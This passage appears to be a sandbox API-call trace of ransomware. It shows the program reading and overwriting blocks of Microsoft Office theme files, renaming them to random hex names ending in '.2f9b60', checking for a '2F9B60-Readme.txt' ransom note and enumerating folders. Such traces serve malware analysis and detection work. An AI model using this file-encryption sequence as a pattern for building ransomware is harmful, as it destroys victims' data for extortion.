RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.472] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f970 [0089.472] sprintf (in: _Dest=0x1cd9f970, _Format="%c%c" | out: _Dest="42") returned 2 [0089.472] sprintf (in: _Dest=0x1cd9f972, _Format="%c%c" | out: _Dest="44") returned 2 [0089.472] sprintf (in: _Dest=0x1cd9f974, _Format="%c%c" | out: _Dest="5a") returned 2 [0089.472] sprintf (in: _Dest=0x1cd9f976, _Format="%c%c" | out: _Dest="8d") returned 2 [0089.472] sprintf (in: _Dest=0x1cd9f978, _Format="%c%c" | out: _Dest="4f") returned 2 [0089.472] sprintf (in: _Dest=0x1cd9f97a, _Format="%c%c" | out: _Dest="51") returned 2 [0089.472] sprintf (in: _Dest=0x1cd9f97c, _Format="%c%c" | out: _Dest="6b") returned 2 [0089.472] sprintf (in: _Dest=0x1cd9f97e, _Format="%c%c" | out: _Dest="a6") returned 2 [0089.472] sprintf (in: _Dest=0x1cd9f980, _Format="%c%c" | out: _Dest="fa") returned 2 [0089.472] sprintf (in: _Dest=0x1cd9f982, _Format="%c%c" | out: _Dest="94") returned 2 [0089.472] sprintf (in: _Dest=0x1cd9f984, _Format="%c%c" | out: _Dest="3c") returned 2 [0089.472] sprintf (in: _Dest=0x1cd9f986, _Format="%c%c" | out: _Dest="1a") returned 2 [0089.472] sprintf (in: _Dest=0x1cd9f988, _Format="%c%c" | out: _Dest="43") returned 2 [0089.472] sprintf (in: _Dest=0x1cd9f98a, _Format="%c%c" | out: _Dest="b3") returned 2 [0089.472] sprintf (in: _Dest=0x1cd9f98c, _Format="%c%c" | out: _Dest="54") returned 2 [0089.472] sprintf (in: _Dest=0x1cd9f98e, _Format="%c%c" | out: _Dest="bc") returned 2 [0089.472] sprintf (in: _Dest=0x1cd9f990, _Format="%c%c" | out: _Dest="90") returned 2 [0089.472] sprintf (in: _Dest=0x1cd9f992, _Format="%c%c" | out: _Dest="1c") returned 2 [0089.472] sprintf (in: _Dest=0x1cd9f994, _Format="%c%c" | out: _Dest="95") returned 2 [0089.472] sprintf (in: _Dest=0x1cd9f996, _Format="%c%c" | out: _Dest="9f") returned 2 [0089.472] sprintf (in: _Dest=0x1cd9f998, _Format="%c%c" | out: _Dest="3b") returned 2 [0089.472] sprintf (in: _Dest=0x1cd9f99a, _Format="%c%c" | out: _Dest="4b") returned 2 [0089.472] sprintf (in: _Dest=0x1cd9f99c, _Format="%c%c" | out: _Dest="83") returned 2 [0089.472] sprintf (in: _Dest=0x1cd9f99e, _Format="%c%c" | out: _Dest="e8") returned 2 [0089.472] RtlInitAnsiString (in: DestinationString=0x258cf9e8, SourceString="42445a8d4f516ba6fa943c1a43b354bc901c959f3b4b83e8" | out: DestinationString="42445a8d4f516ba6fa943c1a43b354bc901c959f3b4b83e8") [0089.473] RtlAnsiStringToUnicodeString (in: DestinationString=0x258cf9b8, SourceString="42445a8d4f516ba6fa943c1a43b354bc901c959f3b4b83e8", AllocateDestinationString=1 | out: DestinationString="42445a8d4f516ba6fa943c1a43b354bc901c959f3b4b83e8") returned 0x0 [0089.473] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c1f70 [0089.473] wcscat (in: _Dest=0x1b7ad200, _Source="42445a8d4f51" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\42445a8d4f51") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\42445a8d4f51" [0089.473] wcscat (in: _Dest=0x1b7ad200, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\42445a8d4f51.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\42445a8d4f51.2f9b60" [0089.473] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\42445a8d4f51.2f9b60", NtPathName=0x258cf990, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\42445a8d4f51.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0089.473] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x106e80 [0089.474] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106e80) returned 1 [0089.474] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77af50) returned 1 [0089.474] NtQueryInformationFile (in: FileHandle=0xa44, IoStatusBlock=0x258cf9f8, FileInformation=0x258cfa08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x258cf9f8, FileInformation=0x258cfa08) returned 0x0 [0089.474] NtSetInformationFile (FileHandle=0xa44, IoStatusBlock=0x258cf9f8, FileInformation=0x258cfa08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0089.476] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad200) returned 1 [0089.476] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1f70) returned 1 [0089.476] FlushFileBuffers (hFile=0xa44) returned 1 [0089.477] CloseHandle (hObject=0xa44) returned 1 [0089.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7ad200 [0089.478] wcscpy (in: _Dest=0x1b7ad200, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0089.478] wcscat (in: _Dest=0x1b7ad200, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" [0089.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\2f9b60-readme.txt")) returned 0x20 [0089.478] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad200) returned 1 [0089.478] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85bb50) returned 1 Thread: id = 356 os_tid = 0xec0 [0089.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Thatch.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\thatch.thmx")) returned 0x20 [0089.488] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Thatch.thmx", dwFileAttributes=0x20) returned 1 [0089.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Thatch.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\thatch.thmx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa3c [0089.488] GetFileSizeEx (in: hFile=0xa3c, lpFileSize=0x25a1f6c0 | out: lpFileSize=0x25a1f6c0*=89461) returned 1 [0089.488] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x15d71, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.489] ReadFile (in: hFile=0xa3c, lpBuffer=0x25a1f640, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x25a1f688, lpOverlapped=0x0 | out: lpBuffer=0x25a1f640*, lpNumberOfBytesRead=0x25a1f688*=0x4, lpOverlapped=0x0) returned 1 [0089.490] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a570 [0089.491] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a5a0 [0089.491] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a540 [0089.491] NtQuerySystemTime (in: CurrentTime=0x25a1f580 | out: CurrentTime=0x25a1f580*=132462176953546000) returned 0x0 [0089.491] RtlRandomEx (in: Seed=0x25a1f570 | out: Seed=0x25a1f570) returned 0xcbce5cf [0089.491] RtlRandomEx (in: Seed=0x25a1f570 | out: Seed=0x25a1f570) returned 0x14b2b231 [0089.491] RtlRandomEx (in: Seed=0x25a1f570 | out: Seed=0x25a1f570) returned 0x71294482 [0089.491] RtlRandomEx (in: Seed=0x25a1f570 | out: Seed=0x25a1f570) returned 0x414b5826 [0089.491] RtlRandomEx (in: Seed=0x25a1f570 | out: Seed=0x25a1f570) returned 0x38f8abd [0089.491] RtlRandomEx (in: Seed=0x25a1f570 | out: Seed=0x25a1f570) returned 0x4d80fc7b [0089.491] RtlRandomEx (in: Seed=0x25a1f570 | out: Seed=0x25a1f570) returned 0x28ffa947 [0089.491] RtlRandomEx (in: Seed=0x25a1f570 | out: Seed=0x25a1f570) returned 0x71d4a782 [0089.491] RtlRandomEx (in: Seed=0x25a1f570 | out: Seed=0x25a1f570) returned 0x73eff680 [0089.491] RtlRandomEx (in: Seed=0x25a1f570 | out: Seed=0x25a1f570) returned 0x280c3a3 [0089.491] RtlRandomEx (in: Seed=0x25a1f570 | out: Seed=0x25a1f570) returned 0x6a6de513 [0089.491] RtlRandomEx (in: Seed=0x25a1f570 | out: Seed=0x25a1f570) returned 0x5823802e [0089.491] RtlRandomEx (in: Seed=0x25a1f570 | out: Seed=0x25a1f570) returned 0x36c8747b [0089.491] RtlRandomEx (in: Seed=0x25a1f570 | out: Seed=0x25a1f570) returned 0x7d98aba4 [0089.491] RtlRandomEx (in: Seed=0x25a1f570 | out: Seed=0x25a1f570) returned 0x68b3cd0e [0089.491] RtlRandomEx (in: Seed=0x25a1f570 | out: Seed=0x25a1f570) returned 0x44c4f82c [0089.491] RtlRandomEx (in: Seed=0x25a1f570 | out: Seed=0x25a1f570) returned 0x53e11aaa [0089.491] RtlRandomEx (in: Seed=0x25a1f570 | out: Seed=0x25a1f570) returned 0x2f133f3a [0089.491] RtlRandomEx (in: Seed=0x25a1f570 | out: Seed=0x25a1f570) returned 0x27c52311 [0089.491] RtlRandomEx (in: Seed=0x25a1f570 | out: Seed=0x25a1f570) returned 0x34cab200 [0089.491] RtlRandomEx (in: Seed=0x25a1f570 | out: Seed=0x25a1f570) returned 0x1654d178 [0089.491] RtlRandomEx (in: Seed=0x25a1f570 | out: Seed=0x25a1f570) returned 0x3423888c [0089.492] RtlRandomEx (in: Seed=0x25a1f570 | out: Seed=0x25a1f570) returned 0x7a96de41 [0089.492] RtlRandomEx (in: Seed=0x25a1f570 | out: Seed=0x25a1f570) returned 0x447c7d5b [0089.492] RtlRandomEx (in: Seed=0x25a1f570 | out: Seed=0x25a1f570) returned 0x3ced3899 [0089.492] RtlRandomEx (in: Seed=0x25a1f570 | out: Seed=0x25a1f570) returned 0x3fd59f0b [0089.492] RtlRandomEx (in: Seed=0x25a1f570 | out: Seed=0x25a1f570) returned 0x71eae6f9 [0089.492] RtlRandomEx (in: Seed=0x25a1f570 | out: Seed=0x25a1f570) returned 0x5076aecc [0089.492] RtlRandomEx (in: Seed=0x25a1f570 | out: Seed=0x25a1f570) returned 0x76088c78 [0089.492] RtlRandomEx (in: Seed=0x25a1f570 | out: Seed=0x25a1f570) returned 0x28917e03 [0089.492] RtlRandomEx (in: Seed=0x25a1f570 | out: Seed=0x25a1f570) returned 0x43bbbe52 [0089.492] RtlRandomEx (in: Seed=0x25a1f570 | out: Seed=0x25a1f570) returned 0x422d976f [0089.502] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.502] ReadFile (in: hFile=0xa3c, lpBuffer=0x1ce5d510, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x25a1f5e0, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesRead=0x25a1f5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.506] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0089.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a570 [0089.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a570) returned 1 [0089.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cea4d30 [0089.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a570 [0089.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a540 [0089.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a540) returned 1 [0089.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0089.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.506] WriteFile (in: hFile=0xa3c, lpBuffer=0x1cea4d30*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x25a1f5e0, lpOverlapped=0x0 | out: lpBuffer=0x1cea4d30*, lpNumberOfBytesWritten=0x25a1f5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cea4d30) returned 1 [0089.529] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.529] ReadFile (in: hFile=0xa3c, lpBuffer=0x1ce5d510, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x25a1f5e0, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesRead=0x25a1f5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.530] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0089.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a540 [0089.531] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a540) returned 1 [0089.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cea4d30 [0089.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a540 [0089.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a4b0 [0089.531] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a4b0) returned 1 [0089.531] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0089.531] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.531] WriteFile (in: hFile=0xa3c, lpBuffer=0x1cea4d30*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x25a1f5e0, lpOverlapped=0x0 | out: lpBuffer=0x1cea4d30*, lpNumberOfBytesWritten=0x25a1f5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cea4d30) returned 1 [0089.535] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x12175, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.535] ReadFile (in: hFile=0xa3c, lpBuffer=0x1ce5d510, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x25a1f5e0, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesRead=0x25a1f5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.536] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x12175, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0089.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a4b0 [0089.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a4b0) returned 1 [0089.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cea4d30 [0089.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a4b0 [0089.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a390 [0089.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a390) returned 1 [0089.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0089.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.537] WriteFile (in: hFile=0xa3c, lpBuffer=0x1cea4d30*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x25a1f5e0, lpOverlapped=0x0 | out: lpBuffer=0x1cea4d30*, lpNumberOfBytesWritten=0x25a1f5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cea4d30) returned 1 [0089.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7c1f70 [0089.538] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0089.538] WriteFile (in: hFile=0xa3c, lpBuffer=0x1b82f830*, nNumberOfBytesToWrite=0x148, lpNumberOfBytesWritten=0x25a1f690, lpOverlapped=0x0 | out: lpBuffer=0x1b82f830*, lpNumberOfBytesWritten=0x25a1f690*=0x148, lpOverlapped=0x0) returned 1 [0089.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0089.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a390 [0089.539] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a390) returned 1 [0089.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d000 [0089.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a390 [0089.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a480 [0089.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a480) returned 1 [0089.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0089.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9f9b0 [0089.540] sprintf (in: _Dest=0x1cd9f9b0, _Format="%c%c" | out: _Dest="79") returned 2 [0089.540] sprintf (in: _Dest=0x1cd9f9b2, _Format="%c%c" | out: _Dest="84") returned 2 [0089.540] sprintf (in: _Dest=0x1cd9f9b4, _Format="%c%c" | out: _Dest="9d") returned 2 [0089.540] sprintf (in: _Dest=0x1cd9f9b6, _Format="%c%c" | out: _Dest="19") returned 2 [0089.540] sprintf (in: _Dest=0x1cd9f9b8, _Format="%c%c" | out: _Dest="3d") returned 2 [0089.540] sprintf (in: _Dest=0x1cd9f9ba, _Format="%c%c" | out: _Dest="19") returned 2 [0089.540] sprintf (in: _Dest=0x1cd9f9bc, _Format="%c%c" | out: _Dest="ea") returned 2 [0089.540] sprintf (in: _Dest=0x1cd9f9be, _Format="%c%c" | out: _Dest="40") returned 2 [0089.540] sprintf (in: _Dest=0x1cd9f9c0, _Format="%c%c" | out: _Dest="c4") returned 2 [0089.540] sprintf (in: _Dest=0x1cd9f9c2, _Format="%c%c" | out: _Dest="60") returned 2 [0089.540] sprintf (in: _Dest=0x1cd9f9c4, _Format="%c%c" | out: _Dest="6c") returned 2 [0089.540] sprintf (in: _Dest=0x1cd9f9c6, _Format="%c%c" | out: _Dest="5a") returned 2 [0089.540] sprintf (in: _Dest=0x1cd9f9c8, _Format="%c%c" | out: _Dest="c4") returned 2 [0089.540] sprintf (in: _Dest=0x1cd9f9ca, _Format="%c%c" | out: _Dest="6e") returned 2 [0089.540] sprintf (in: _Dest=0x1cd9f9cc, _Format="%c%c" | out: _Dest="ad") returned 2 [0089.540] sprintf (in: _Dest=0x1cd9f9ce, _Format="%c%c" | out: _Dest="15") returned 2 [0089.540] sprintf (in: _Dest=0x1cd9f9d0, _Format="%c%c" | out: _Dest="78") returned 2 [0089.540] sprintf (in: _Dest=0x1cd9f9d2, _Format="%c%c" | out: _Dest="80") returned 2 [0089.541] sprintf (in: _Dest=0x1cd9f9d4, _Format="%c%c" | out: _Dest="a3") returned 2 [0089.541] sprintf (in: _Dest=0x1cd9f9d6, _Format="%c%c" | out: _Dest="45") returned 2 [0089.541] sprintf (in: _Dest=0x1cd9f9d8, _Format="%c%c" | out: _Dest="2c") returned 2 [0089.541] sprintf (in: _Dest=0x1cd9f9da, _Format="%c%c" | out: _Dest="61") returned 2 [0089.541] RtlInitAnsiString (in: DestinationString=0x25a1f708, SourceString="79849d193d19ea40c4606c5ac46ead157880a3452c61" | out: DestinationString="79849d193d19ea40c4606c5ac46ead157880a3452c61") [0089.541] RtlAnsiStringToUnicodeString (in: DestinationString=0x25a1f6d8, SourceString="79849d193d19ea40c4606c5ac46ead157880a3452c61", AllocateDestinationString=1 | out: DestinationString="79849d193d19ea40c4606c5ac46ead157880a3452c61") returned 0x0 [0089.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b7c1f00 [0089.541] wcscat (in: _Dest=0x1b7ad200, _Source="79849d193d1" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\79849d193d1") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\79849d193d1" [0089.541] wcscat (in: _Dest=0x1b7ad200, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\79849d193d1.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\79849d193d1.2f9b60" [0089.541] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\79849d193d1.2f9b60", NtPathName=0x25a1f6b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\79849d193d1.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0089.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x106e80 [0089.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106e80) returned 1 [0089.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77af50) returned 1 [0089.543] NtQueryInformationFile (in: FileHandle=0xa3c, IoStatusBlock=0x25a1f718, FileInformation=0x25a1f728, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x25a1f718, FileInformation=0x25a1f728) returned 0x0 [0089.543] NtSetInformationFile (FileHandle=0xa3c, IoStatusBlock=0x25a1f718, FileInformation=0x25a1f728, Length=0x28, FileInformationClass=0x4) returned 0x0 [0089.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad200) returned 1 [0089.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1f00) returned 1 [0089.554] FlushFileBuffers (hFile=0xa3c) returned 1 [0089.555] CloseHandle (hObject=0xa3c) returned 1 [0089.556] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7ad200 [0089.556] wcscpy (in: _Dest=0x1b7ad200, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0089.556] wcscat (in: _Dest=0x1b7ad200, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" [0089.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\2f9b60-readme.txt")) returned 0x20 [0089.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad200) returned 1 [0089.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85bbe0) returned 1 Thread: id = 357 os_tid = 0xec4 [0089.503] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b85bac0 [0089.503] wcscpy (in: _Dest=0x1b85bac0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" [0089.503] wcscat (in: _Dest=0x1b85bac0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0089.503] wcscat (in: _Dest=0x1b85bac0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*" [0089.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce56080 [0089.504] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*", lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603f4990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d3d0 [0089.530] wcscmp (_String1=".", _String2=".") returned 0 [0089.530] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603f4990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.532] wcscmp (_String1="..", _String2=".") returned 1 [0089.532] wcscmp (_String1="..", _String2="..") returned 0 [0089.532] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccc5300, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc5300, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adjacency.xml", cAlternateFileName="ADJACE~1.XML")) returned 1 [0089.532] wcscmp (_String1="Adjacency.xml", _String2=".") returned 1 